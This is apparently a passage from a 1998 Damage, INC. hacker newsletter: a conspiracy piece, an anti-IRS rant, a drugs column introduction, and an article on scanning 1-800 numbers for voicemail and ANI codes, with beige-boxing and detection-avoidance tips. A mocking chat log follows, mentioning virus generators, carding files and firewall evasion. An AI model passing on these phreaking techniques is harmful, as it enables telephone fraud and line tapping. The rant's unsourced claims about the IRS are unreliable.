+Because of his one-track mindedness, Morehouse succeeded in his desire to
+expose the activities that went on during those fateful months he was in the
+unit. The army denied 95% of his claims, also denying the validity of
+"remote-viewing" for defense purposes. Their tactics went straight from
+hiding the truth, to manipulating it. Not once did it occur to them to simply
+admit their actions, and take responsibility. Most would sooner have died,
+than admit to a conspiracy/coverup.
+ The events described here within are all true, and can be verified by
+newsmedia, books, and some government documents. The tale is a fascinating
+one, combining elements of science fiction, suspense, and conspiracy. David
+Morehouse was a person who dared to be more than what society expected. He
+rose above the law, conquered space-time, and lived to tell the story of both.
+He no longer works with the army in any way, and spoke at the 1996 world
+conference on issues of peace, and nonviolent ways to solve disputes.
+ It is at the discretion of the reader as to what he/she learns from this
+article; but remember, your thoughts create your reality, and only *you*
+can be held responsible for your thoughts.
+
+Written by The Journalist ú Damage, INC. (C)opyright 1998.
+
+
+CORRUPTION AND GREED - {GREED}
+The IRS, death and taxes:
+
+Of all of the bureaucracies in the Unites States, one of the most corrupt and
+cold-hearted is the Internal Revenue Service (IRS). The IRS has tremendous
+powers in which they use to rape and pillage Americans. Without a hearing, or
+any other form of due process, the IRS can seize property, pay checks, homes and
+shut down businesses. It is because the IRS is the absolute judge, jury, and
+executioner during a tax audit, it is no wonder that they are capable of
+financially, or even physically destroying the lives of many Americans.
+
+IRS managers keep track of citizens that they consider to be `tax protesters'
+and `political dissidents' that disagree with the government of the day. It is
+no coincidence in my mind that people like Paula Jones have been audited by the
+IRS. They'll make someone's life hell on a request from a corrupt politician,
+or will independently act on their behalf. In addition, the culture within the
+IRS encourages the exploitation of taxpayers that don't have the resources to
+fight back. Former IRS employees have revealed that IRS managers compile a list
+of individuals and small businesses that are what they consider to be `easy
+prey.'
+
+It is said that absolute power corrupts absolutely, and that is precisely
+what has happened within the IRS. IRS managers foster a culture of greed
+and powertripping. Despite what the IRS says, it is a fact that IRS agents are
+rewarded by bonuses or promotion in direct relation to the amount of tax,
+interest, and penalty money they can seize. At the heart of their schemes
+is the fact that they can claim any amount of back taxes, with penalties and
+interest, and it can't be contested. If their actions destroy a person or
+family's quality of life, it's a bonus to those sick bastards. One example of
+hundreds of abuse by IRS agents that I have read, an agent told a man he was
+auditing that he was "worth more dead" so that the IRS could seize his life
+insurance policy. When the man reported this, the agent denied it and his
+manager accused the man of lying. In my opinion, he will be harassed by the
+IRS for the rest of his life.
+
+The tactics IRS agents use during an audit are cruel and appalling. When
+they have selected their target, they attack with no mercy. And if an
+American actually cooperates fully with the IRS, they are digging their own
+financial grave. In one case, a married couple that ran a small business
+paid a penalty of $6000 because the agent told them "well, it appears that you
+paid these returns correctly, but understand, we are paid to bring in money. If
+you don't pay us something now, I'll just come back with another list of
+requests." Approximately six years later, the IRS required that they had to
+prove that they paid taxes the previous seven years. At that time a heavy lien
+was put against their home as an added "bonus" for their earlier assistance.
+
+Another corrupt tactic that the bastards in the IRS use to inflict mental
+stress upon their victims is known as the "whipshaw technique." This technique
+is used to coerce a taxpayer to `pay up' by punishing innocent relatives through
+liens, levies, seizures, etc. Yet another example of the corrupt use of their
+unbridled power. The IRS intentionally developed this tactic to humiliate and
+isolate their victims from their family and friends.
+
+Another convenient way for the IRS to destroy the lives of their victims is to
+lie and claim that they didn't received forms, or payments on outstanding taxes.
+This goes far beyond recovering taxes from those that owe the Treasury
+department... it is a blatant and unprovoked attack against Americans that
+can't afford to fight them in court. And that is when the IRS really twists the
+knife. Their follow-up tactic is to charge late payment penalties and interest
+*and* to pocket the payments they have already received. Then it's up to the
+taxpayer to prove that the IRS received their forms, payments, etc. The reason
+they do this is simple; greed. In one reported case, two years after the fact
+the IRS told a taxpayer that they didn't have a man's 1992 tax return. They
+demanded back taxes *plus* a penalty of $6000. How could the man prove that the
+IRS didn't have the tax return when it is a fact that they do? It is
+contemptible that the IRS is able to lie, or claim that they "lost files" and
+put it all on the back of the taxpayer.
+
+Unfortunately, not every American is strong enough to handle the oppressive
+shadow that the IRS casts upon their lives. The corrupt and evil ways in
+which IRS agents act have driven people to suicide. However, not even suicide
+and the destruction of families will stop the IRS from their relentless greed,
+and their need to exert their powers. I read a report from a widow suffering
+from severe mental stress. She reported how the IRS took advantage of her
+husband's suicide (his escape from the hell they were putting him through) by
+placing liens on both of her husband's life insurance policies that were
+intended to provide for her and her daughter. And the IRS is not done yet.
+IRS agents are stalking her by telephone and unannounced house visits,
+revelling in their power that they use without any accountability.
+
+I hope that this article has given you a small glimpse into how corrupt
+government bureaucracies truly are. Instead of serving the citizens of their
+country, they prey upon them... destroying their hopes, dreams, and lives.
+Breaking up families, and driving people to suicide is the result of their
+corrupt use of the absolute power they wield without fear of recourse. It is my
+opinion that this kind of abuse is only the beginning as our civil rights and
+liberties are eliminated and ignored. Remember that knowledge is power. If a
+bureaucracy as greedy and corrupt as the IRS comes after you, fight back. Don't
+give up destroyed and say "what can I do about it?" That is when they have won.
+
+---
+While using the Internet to obtain background information for this article, I
+came across a web site in which victims of the IRS were gathering testimony in
+preparation for a class-action lawsuit. The IRS Abuse Reports relate their
+horrible experiences much better than I can. You may wish to see first-hand
+accounts of how the IRS has destroyed the lives of hundreds of hard-working
+Americans. The website address of the IRS Abuse Reports is:
+www.zonpower.com/irs-class-action.
+
+Written by Shatazar ú Damage, INC. (C)opyright 1998.
+
+
+DRUGS DISCUSSION - {DRUGS}
+An introduction to the newest section:
+
+ This commences a new section that will continue throughout several
+Newsletters. Drugs are mind-altering substances; for this reason, I feel it
+important to discuss the current drug situation in our society. There are
+too many aspects of this topic to limit it to one article; as such, this is
+merely an introduction to which perspectives I will be covering, and my views
+on them.
+
+ -Legality issues must be addressed - should drugs be legal/decriminalized?
+ -Personal experiences will be shared and discussed.
+ -Drugs in different cultures, eras.
+ -Types of drugs, classes of drugs, and effects of drugs will be covered.
+ -True facts and events will be looked at, and commented upon.
+ -The drug war in North America/the globe is an issue.
+ -Focus on Hemp/Cannabis and its advantages/disadvantages
+ -Drugs and life, drugs and consciousness, philosophical aspects discussed.
+ -Hallucinogens, cosmic-consciousness, religion discussed.
+
+ Some discussion will be serious, while others more humorous, and others
+still, a mixture of both. I hope you look forward to reading this section
+as much as I look forward to writing it. Those who know me know that life
+is a very interesting subject to me. To blindly think that all drugs are bad
+is such a detrimental belief it astounds me. Drugs fascinate me; and I don't
+necessarily mean experimenting with them. Theoretical discussion of the
+effects of DMT for example can be quite fascinating, without having to do the
+drug oneself. That is not to say I haven't done a lot of drugs. Of the most
+popular drugs available, it would be faster for me to tell you that I have not
+done Crack, Cocaine, or Heroine. I have tried most others however, thus do
+not consider myself a "newbie" to drugs by any means. Because drugs are
+illegal though, I have a hard time believing that what pill I am buying is
+really what it is supposed to be. See what I mean? How can I put my trust
+into something that was probably concocted in a bathtub?
+
+These and many more interesting thoughts coming soon. If you care to leave
+me feedback with any comments/experiences you have, I will gladly incorporate
+them into my articles. Otherwise, look for the new Drugs Discussion section in
+the next issue of the newsletter.
+
+Written by The Journalist ú Damage, INC. (C)opyright 1998.
+
+
+H/P INFORMATION AND NEWS - {H/P}
+Tips on scanning 1-800s:
+
+This article won't teach you everything that there is to know about scanning
+1-800s. Also, it will not give you any instructions on how to hack them.
+The purpose of this article is to teach you some intelligent scanning methods.
+If you're asking yourself, "What does intelligent scanning mean?" then you
+definitely need to read this section very carefully.
+
+In order to scan intelligently, obviously you first need to know what that
+means. In brief, it means scanning efficiently, stealthfully and finding the
+desired targets quickly. Sometimes speed can be of the essence. You can't
+find anything fast if you try to randomly scan all of 1-800-555-XXXX. It
+would take forever to scan and log it all, not to mention the fact that many
+of the reachable numbers would prove to be absolutely useless to you. So,
+instead of wasting your time and putting yourself at risk, learn how to scan
+intelligently. Every single method won't be discussed in this article. The
+reason being, you cannot rely on a text file as your only source of learning.
+You must experiment and develop your own techniques using your own ideas.
+However, since I'm in a kind and generous mood, I will give you a few tried
+and tested tips to try out. :)
+
+First, there's the ToneLoc (or THC-Scan etc.) approach. I don't recommend it
+unless you're beige boxing or only going to dial less than a hundred 1-800s
+per session/day. If you're out beige boxing, then you don't have to worry
+about scanning randomly. Try scanning sequentially, unless you're paranoid.
+As an example, you could use a mask of 1-800-555-5XXX and allow it to scan for
+an hour or two. You can sit there watching and listening as it's scanning, or
+leave. Just don't forget to go back to retrieve your trusty laptop. :) Also,
+always create different data files for separate exchanges. It keeps your scans
+much more organized that way. Plus, then you can exchange them with other
+phreaks in your area. If a group of people work together to scan a 1-800
+exchange, it'll go a lot faster. Just assign one person to scan 1-800-555-1XXX
+and the next to do 1-800-555-2XXX and so on. Eventually all of 1-800-555-XXXX
+will have been scanned, and you can share your findings. Plus, if you use
+separate data files, you can upload them to h/p boards in exchange for codes
+etc. That's another benefit to scanning intelligently, you'll find a lot more.
+Just remember, only upload scans that are worthwhile. In other words, not ones
+that are 90% voice/busy's with the rest shitty carriers. If you upload shit,
+there's a great chance that you'll lose your access to those h/p boards.
+
+Second, there's the manual dialing approach (pressing the little buttons on
+your phone). :) By using this method, it's much safer since it's more
+randomized. By that, I just mean that the delay time between dials will be
+different, the amount of time between each button being pressed will vary,
+the amount of rings won't be the same, the amount of time "connected" won't
+either etc. Therefore, it is safe to use this method from home. However, you
+must make sure to limit the number of 1-800s that you scan each session. A
+good tip is to have multiple scan sessions per day. In each session, dial 20
+or 30 1-800 numbers. Don't just "pick anything". Scan intelligently. Try
+1-800-XXX-2255. (2255 is CALL). That's just an example. You can also try
+something like 1-800-XXX-0400 or 1-800-XXX-0500 etc. There are patterns that
+you can pick up on. Sometimes the patterns are intricate, and other times they
+are simple and easy to discover. If you find a useful code that's
+1-800-999-1110 then try dialing 1-800-999-1120 etc. Sometimes you can find
+multiple codes that way very quickly. :) Just as, you can try 1-800-225-5XXX
+(1-800-CALL-XXX) and try random last 3 digits. Once you find some codes in a
+1-800-XXX exchange, then sometimes you might want to scan it all. Other times,
+you might only want a certain code that you found scanning intelligently. It
+all depends on what you're into, and how much time you have to spend scanning,
+how many codes you want or need etc. The point is that you don't always have
+to scan the entire exchange to find the codes that you want.
+
+Here's another tip. If you find a code (like a 1-800 VMB or ANI or something)
+that's 1-800-222-2020 as an example, scan around it. By that, I mean do the
+same thing as you'd do if you found one end of a loop. To find the other end,
+you have to scan above or below it depending on what end of the loop you found.
+With 1-800s, you should scan above and below the found code. The reason is that
+you can usually find multiple codes that are the same that way. For example,
+if you found an ANI that's 1-800-222-5000 there might be another ANI that's
+1-800-222-4000. Even though that is just an example, I have seen that many
+times before... The reason that I'm not listing usable 1-800s is because I don't
+know what ones are reachable from other area codes, Canada etc. Some 1-800s
+work for all of North America, others are limited to the United States and some
+are only dialable from that state, area code etc. There's a great range, so
+it would be pointless for me to list valid ones that might only work in my area.
+Also, don't write off or ignore an entire 1-800 exchange just because one or two
+numbers can't be dialed for free from your calling area. That's definitely not
+intelligent scanning, since you could miss out on a lot of cool codes. I hope
+that you enjoyed reading this article, benefit from the methods that I've
+discussed and the tips that I've shared. In conclusion, you should be creative,
+use your imigination and learn how to scan intelligently. If you follow that
+advice, then you will soon have more useful codes than you can imagine... More
+importantly, you'll have the ability to find the ones that you need quickly
+without scanning entire exchanges for days.
+
+On a personal note, I'm moving again. This time, it looks as though it'll be
+permanent. I am going out to Montana. I don't want to mention the town, for
+several reasons. At any rate, I don't know how active I'm going to be in the
+h/p scene anymore. I've considered unofficially "retiring". I'll still remain
+in contact with a few people, and I'm not quitting Damage, INC. However, it
+is very unlikely that I'll be able to contribute as often to the Damage, INC.
+Newsletter. I still want to write articles etc. but the extent of my
+involvement in the group will be severely limited. I won't have nearly as much
+free time after I start work at my new job. I just want to thank everyone that
+has ever helped me out, and thank Damage, INC. for the experience and knowledge
+that I've learned because of the group. Also, thanks to anyone that reads and
+enjoys my articles. Lastly, have fun scanning and don't forget to phreak
+safely. :)
+
+Written by Blackie Lawless ú Damage, INC. (C)opyright 1998.
+
+
+ú - NEWS - ú
+
+We're proud to announce that Fatal Vision is the newest Damage, INC. Member.
+He's going to contribute to future issues of the Damage, INC. Newsletter.
+In a relatively short period of time, he's managed to learn a fair amount about
+h/p and what it means. Everyone in the group is pleased with his progress and
+we're looking forward to seeing him become an active member.
+
+The Damage, INC. FAQ should be complete and ready to release with the next
+issue of the Damage, INC. Newsletter in April. It will contain information
+about the group, past, present, future plans as well as answer frequently asked
+questions etc. However, it won't be an ordinary FAQ. It will be unlike any
+other FAQ that you've read, or exists for that matter. Damage, INC. is about
+uniqueness, individuality and going against the grain... Everything that we
+release proves that statement to be true. So, look for the FAQ of all fucking
+FAQs to be released soon and available on a quality h/p board near you. ;)
+
+Also, I spoke with Blackie Lawless after he submitted the above article on
+scanning 1-800s. He assured me that it won't be his last, but it might be a
+few months before he has time to write and contribute anything else. I know
+that he isn't planning on "retiring" from the scene forever. He told me that
+he wants to take a break from it though, even after he's moved and settled in
+Montana. I fully understand that, as I've often thought about doing the exact
+same thing... Plus, it's not good to stay in the scene for 'too long' if you
+are very actively involved, as it might catch up with you eventually. So, I
+don't blame him if he feels that taking some time off will help him avoid
+being busted for something. However, I have no knowledge of his activities,
+or what's going on, so that's just a hypothesis at best... ;)
+
+In other local (519) news, The Crypt Keeper is back. He plans to setup his
+board (The Crypt) again... and wants to resurrect a.t.i. We'll have to wait
+and see what develops, especially after the recent Highlamer incidents of him
+claiming to be a Member of a.t.i and creating fake releases etc.
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1998.
+
+
+INTERVIEWS AND INTERROGATIONS - {INTERVIEWS}
+Artistry's interrogation of Topsoil:
+
+This interrogation was done by Artistry. He captured this chat and sent a copy
+of it to Damage, INC. His intention was that we would include it in this issue
+of the Damage, INC. Newsletter. Artistry's wish was granted. So, all of the
+credit goes to him. Don't thank me for this hilarious interrogation, thank
+Artistry. ;)
+
+ = Artistry
+ = Topsoil (previously known as Coolguy)
+[ comments ] were added by BLACKENED.
+
+the sysop has broken in to chat
+
+ - yeah?
+
+ - hey.. are you into hacking? 1-800s?
+
+ - ... ... uhhh.. i wanna be, but i know nothin...
+
+[ Look...He admitted that he's a wannabe that knows nothing. What a shock. ]
+
+ - oh.. I thought someone said you were making a list of them...
+
+ - i was.. they were like.. not computers or nothing.. and umm.. i lost that
+list now, forgot to back it up before i formated my HD...
+
+[ Topsoil is always formatting his hard drive. ]
+
+ - okay. do you know what the validation pword on foi is? I applied but
+can't get access.
+
+ - no clue... he just validated me ... about a day or two after i called so..
+
+[ Even Topsoil doesn't know why he was validated on FoI. ]
+
+ - ok no problem. uh, do you know of any other h/p boards around here that
+are local?
+
+ - heh..i hardly even read my own mail on my own board.. i don't call out at
+all anymore so...
+
+[ But he doesn't call boards anymore, except to leech h/p files from FoI. ]
+
+ - Oh... umm... you don't call foi?
+
+ - nah... haven't in.. oh.. i dunno.. since november or so... not sure
+exactly...
+
+[ That's strange since I remember reading posts by Topsoil on FoI after that. ]
+
+ - i read about a board called the crypt and some group called ati.. should I
+join it?
+
+ - umm.. i dunno.. i've heard a lot of crap about ati, and well, it sounds
+kinda like it sucks.. and besides, i don't really like the crypt keeper.. i was
+on his board a while back.. and well, he had lots of viruses and stuff... not a
+whole lot of h/p or anything like that... but that was a while ago.. and
+umm.. i'm not even sure if his board is still up..
+
+[ But The Freezer is a great h/p board right? Haha. ]
+
+ - alright.. so then are there any *good* h/p groups in this area? I'm still
+kinda new... but want to join one really bad.
+
+ - heh.. yeha... i'm still sorta new too.. and well.. umm.. i'm not sure of
+one.. damage inc is cool.. 'cept for blackened.. i don't like him.. but the
+rest of the group is cool..
+
+[ Oh no, Topsoil doesn't like me. ;) ]
+
+ - hmm... why don't ya like him? hehe
+
+ - heh... actuaully, i think i've no wiped out my hard drive more times than
+he's wiped out mine.. heh.. that's hard to accomplish. but ahg well.. ehh/.
+
+[ You can't blame anyone else when you nuke yourself with trojans Topsoil. ]
+
+ - hehe.. so how abouts would I go about joining damage inc? talk to him?
+
+ - ... not sure... just talk to the journalist, his board is a member board..
+so he should know...
+
+[ FoI is a Damage, INC. Dist. Site. Before you give advice, make sure you know
+what you're talking about. ]
+
+ - ya.. okay.. cool. I noticed you've got some of their releases online
+here.. have ya read any of them, and are they any good?
+
+ - .. well, i read the first few.. (2 or 3.. forget how many..) and well,
+the one had a trojan's source code at the end.. and i wanted to try it out.. and
+i did.. and wiped myself.. and well, blackened is honest in those and stuff..
+and for the utils that damage inc. has released.. i've never tried them, but
+apparently they do what they say they do...
+
+[ Wow. We're all impressed that you were able to use TASM on the source code.
+However, source code isn't executable. Again, you're responsible for nuking
+yourself. Yes, I am honest. Apparently? You execute trojans but are afraid
+to use Damage, INC. Utilities? ]
+
+ - hmm.. cool. hey, do you program? I read a message about something you
+were working on...
+
+ - ... i know turing... and well, can't really do a whole lot in there...
+examples.. you can't use the com port, you can't edit an .EXE file or
+anything like that (at least not that easily) and umm.. well, it's a cheapo
+beginner language.. i started to make a BBSList program for the board.. but
+kinda got stuck not being able to use the modem.. heh...
+
+[ Turing? ]
+
+ - hehe... yeah, it was the bbslist thing that I read about. sounds cool
+though. I'm starting to learn pascal. is that language any good? like will
+I be able to program some utilities eventually with it?
+
+ - oh yeah.. if you learn it... i'd probably say that it's.. .. either the
+BEST or the second BEST programming language out there... probably best though..
+C/C++ is cool.. but i don't know..i tried it, and got totally confused so..
+most programs are written in pascal though.. eg. this bbs software was
+written in pascal..... or something.. wait.. it was written in turbo
+pascal... and i THINK their the same.. not sure though.. ah well..
+
+[ Turbo Pascal is the best programming language out there? again. ]
+
+ - yeah, that's what we're learning in school... but I'm just starting to get
+the hang of it. hehe. I should check out some of those utilities that you
+have on your board... and see what they're like. do you know anything about
+how to get started, like learning how to program stuff like viruses and
+trojans?
+
+ - well.. .. no..:) .. umm... for viruses and stuff.. i think.. assembly is
+best for that..and well, that seems easy to learn.. just grab a program like
+VCL, and it will make source code for you.. and you just compile it.. easy..
+
+[ VCL will generate assembly source code, as will any other virus generator.
+That isn't programming a virus though. That's called running a shitty program
+that creates .asm source code for viruses that are detectable by any virus
+scanner. Nothing more. ]
+
+ - what's assembly? a language?
+
+ - yup..
+
+[ Good answer. ]
+
+ - okay.. cool.. so are they usually made in assembly?
+
+ - yeah.. it makes the files real small.. like.. 3k.. and well, to do the
+same thing in turbo pascal or c/c++ it would be like.. ... i dunno.. 10k or
+something.. so .. assembly is smaller.. but not as powerful...
+
+[ Haha. You really have a way with words. You have a talent for explaining
+things that you know nothing about to people. Assembly is smaller but not as
+powerful? Wrong again man. ]
+
+ - cool... also, I wanted to ask you about carding. I posted a message
+asking about it but just got bashed..
+
+ - uh-huh.. question?
+
+[ You should consider changing your alias to the Guru. ;) ]
+
+ - What is it? How can I learn more about carding? Is it like.. using VISA
+cards or something like that? or am I thinking of something else..hehe
+
+ - .,, nah, that's it.. umm.. i dunno.. if you wanna learn some stuff about
+it... like.. good methods and stuff, since a lot of them don't work, umm.. in
+the file areas, there's PLA*.ZIP... those have a lot of ... carding stuff in
+... mostly calling cards .. but you can use the same type of stuff for visa
+etc. ... and well, they have some phreaking stuff in too... they're no ratio
+so.. get whatever you want... umm.. and well, you can read the descriptions
+too..
+
+[ Yeah, the Phone Losers of America issues are excellent sources of information
+man. The only thing I don't understand is why they don't use a 1-800 VMB and
+have a few boxes. I mean, their leader used to pay monthly for a box... for
+a shitty local VMB in his area code. Haha. ]
+
+ - cool.. I will.. and I don't know much about phreaking yet either but I
+want to learn. do you know much about PBXs, VMBs, ANIs? I also read about
+firewall hacking in the bases here, but don't really know much about that...
+or how to remove firewalls. there's one at school that prevents us from
+going to h/p sites. hehe
+
+ - hheh.. yeah.. i've gotten pissed of at that firewall too.. .. umm.. i
+tried getting around it by going to.. www.anonymizer.com...; which will just
+copy the page onto their server, and then send it over to you, so your computer
+never actually goes the page at all.. but they firewalled that server. damn..
+and umm.. well.. then i tried converting the .. domain name
+(www.anonymizer.com) over to the IP address (209.xxx.xxx.xxx or osmething
+like that) and well.. that is firewalled too.. so not sure about that.. as
+far as.. PBXs go... i forget what the stand for again so.. :) umm.. VMBs,
+iknow that i have one on my cell phone, and ,.. ANIs, i have call display on
+my cell phone, so for that i just call up my cell phone which is usually in
+my hand, and i just read off the numbe.r.:)
+
+[ Read a text file on firewalls d00d. ]
+
+ - cool.. do you have a laptop and beige box? also, i need an extender.. to
+call like Guelph and Toronto...
+
+ - ... yeah... umm.. laptop, nah, i can't afford everytrhing.. heh.. umm..
+beige box.. .i wanna make one.. but well,i haven't got the cash right now.. damn
+phone companies.. i had $150 in phone bills this month.. heh... umm.. but
+yeah, soon i'm gonna try and build a red box, and beige box... umm..
+extenders.. i don't got any... if i felt like it, i'd consider using toneloc
+or something like that, but since i don't call guelph any more, i don't
+really care about it...
+
+[ Quit paying $150 to Bell and you might have more money. ;) Oh, forget about
+trying to build a red box and beige box. That's too difficult for you. ]
+
+